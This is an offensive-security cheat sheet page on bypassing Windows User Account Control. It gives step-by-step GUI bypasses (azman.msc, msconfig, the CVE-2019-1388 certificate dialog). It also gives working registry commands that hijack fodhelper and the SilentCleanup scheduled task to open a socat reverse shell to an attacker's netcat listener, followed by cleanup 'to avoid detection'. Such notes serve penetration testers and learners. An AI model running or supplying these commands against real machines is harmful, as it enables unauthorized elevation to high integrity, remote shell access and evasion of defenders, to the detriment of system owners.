# UAC Windows Privilege Escalation

### [Automation](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/uac-windows-privilege-escalation/#automation) <a href="#automation" id="automation"></a>

[**UACME**](https://github.com/hfiref0x/UACME) is an automation tool for defeating Windows UAC.

\\

### [Investigation](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/uac-windows-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

```powershell
# Check the current user's integrity level
whoami /groups | findstr "Label"
whoami /groups | find "Label"
Copied!
```

\\

### [UAC Bypass](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/uac-windows-privilege-escalation/#uac-bypass) <a href="#uac-bypass" id="uac-bypass"></a>

#### [AZMAN.MSC (Authorization Manager)](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/uac-windows-privilege-escalation/#azman.msc-\(authorization-manager\)) <a href="#azman.msc-authorization-manager" id="azman.msc-authorization-manager"></a>

1. Open AZMAN.MSC by entering “azman.msc” in the Run.
2. Click Help and select Help Topics. The MMC window will open.
3. In the MMC window, right-click and select View Source. The Notepad opens.
4. In the Notepad, select File → Open.
5. In Explorer, select Windows/System32/cmd.exe and right-click, then select Open.
6. We should escalate to High integrity level.

#### [Fodhelper (Features on Demand Helper)](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/uac-windows-privilege-escalation/#fodhelper-\(features-on-demand-helper\)) <a href="#fodhelper-features-on-demand-helper" id="fodhelper-features-on-demand-helper"></a>

Fodhelper manages the Windows features settings.

First start listener in local machine for getting incoming connection.

```bash
nc -lvnp 4444
Copied!
```

In remote Windows machien, add subkey to the registry and execute fodhelper to reverse shell.

```powershell
set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
set CMD="powershell -windowstyle hidden C:\socat.exe TCP:<local-ip>:4444 EXEC:cmd.exe,pipes"
# /v: Value name under the selected key.
# /d: Data to assign to the registry ValueName being added.
# /f: Force overwriting the existing registry entry without prompt.
reg add %REG_KEY% /v "DelegateExecute" /d "" /f
reg add %REG_KEY% /d %CMD% /f & fodhelper.exe
Copied!
```

We should get a shell and elevate High integrity level.

To check the IL, run the following command.

```powershell
whoami /groups | find "Label"
Copied!
```

Finally, we need to clear the above settings to avoid detection.

```powershell
# /f: Forces the deletion without prompt
reg delete HKCU\Software\Classes\ms-settings\ /f
Copied!
```

#### [Scheduled Task: Disk Cleanup](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/uac-windows-privilege-escalation/#scheduled-task%3A-disk-cleanup) <a href="#scheduled-task-3a-disk-cleanup" id="scheduled-task-3a-disk-cleanup"></a>

Start listener for getting reverse connection in local machine.

```bash
nc -lvnp 4444
Copied!
```

Add the entry to registry to reverse shell.

```powershell

reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\socat.exe TCP:<local-ip>:4444 EXEC:cmd.exe,pipes &REM " /f
# /run: Start the scheduled tasks immediately.
# /tn: Task name
# /I: Idle time
schtasks /run  /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Copied!
```

#### [System Configuration (msconfig)](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/uac-windows-privilege-escalation/#system-configuration-\(msconfig\)) <a href="#system-configuration-msconfig" id="system-configuration-msconfig"></a>

1. Open System Configuration by entering **"msconfig"** in the Run.
2. Go to Tools tab and select Command Prompt, then click Launch.
3. We should escalate to High integrity level.

\\

### [Abuse UAC Windows Certificate Dialog (CVE-2019-1388)](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/uac-windows-privilege-escalation/#abuse-uac-windows-certificate-dialog-\(cve-2019-1388\)) <a href="#abuse-uac-windows-certificate-dialog-cve-2019-1388" id="abuse-uac-windows-certificate-dialog-cve-2019-1388"></a>

UAC Windows Certificate Dialog is vulnerable to privilege escalation.

1. Open **hhupd.exe**. The User Account Control window opens.
2. Click the **"Show more details"** and click also **"Show information about the publisher’s certificate"**.
3. Now click the **"Issued by"** link. Web browser will open.
4. In web browser, select **Tools -> File -> Save as...**.
5. On the explorer window address path, enter the cmd.exe full path as below:

   **"c:\Windows\System32\cmd.exe"**

Now we escalated the privilege.

\\

### References

* <https://github.com/nobodyatall648/CVE-2019-1388>
